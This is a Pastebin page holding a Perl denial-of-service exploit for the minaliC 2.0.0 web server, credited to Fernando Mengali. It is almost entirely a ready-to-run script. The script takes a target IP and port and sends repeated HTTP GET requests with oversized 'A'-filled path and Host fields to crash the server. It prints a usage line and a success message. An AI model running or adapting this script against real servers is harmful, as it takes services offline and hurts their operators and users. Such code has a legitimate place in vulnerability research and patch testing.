FlyFar

minaliC 2.0.0 - Denial of Service (DoS)

Mar 22nd, 2024
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.45 KB | Cybersecurity | 0 0
  1. #!/usr/bin/perl
  2.  
  3.  
  4. use Socket;
  5.  
  6.     $sis="$^O";
  7.  
  8.     if ($sis eq "windows"){
  9.       $cmd="cls";
  10.     } else {
  11.       $cmd="clear";
  12.     }
  13.  
  14.     system("$cmd");
  15.    
  16.     intro();
  17.     main();
  18.    
  19.     print "[+] Exploiting... \n";
  20.  
  21. my $junk = "\x41" x 245;
  22.  
  23. my $host = "\x41" x 135;
  24. my $i=0;
  25. while ($i <= 3) {
  26. my $buf = "GET /" . $junk . " HTTP/1.1\r\n" . "Host: " . $host . "\r\n\r\n";
  27.  
  28. my $sock;
  29. socket($sock, AF_INET, SOCK_STREAM, 0) or die "[-] Could not create socket: $!\n";
  30.  
  31. my $addr = sockaddr_in($port, inet_aton($ip));
  32. connect($sock, $addr);
  33.  
  34. send($sock, $buf, length($buf), 0);
  35.  
  36. $i++;
  37.  
  38. }
  39.  
  40.     print "[+] Done - Exploited success!!!!!\n\n";
  41.  
  42.    sub intro {
  43.       print "***************************************************\n";
  44.       print "*       minaliC 2.0.0 - Denied of Service         *\n";
  45.       print "*                                                 *\n";
  46.       print "*            Coded by Fernando Mengali            *\n";
  47.       print "*                                                 *\n";
  48.       print "*      e-mail: fernando.mengalli\@gmail.com       *\n";
  49.       print "*                                                 *\n";
  50.       print "***************************************************\n";
  51.   }
  52.  
  53.   sub main {
  54.  
  55. our ($ip, $port) = @ARGV;
  56.  
  57.       unless (defined($ip) && defined($port)) {
  58.  
  59.         print "       \nUsage: $0 <ip> <port>                 \n";
  60.         exit(-1);
  61.  
  62.       }
  63.   }
  64.            
Add Comment
Please, Sign In to add comment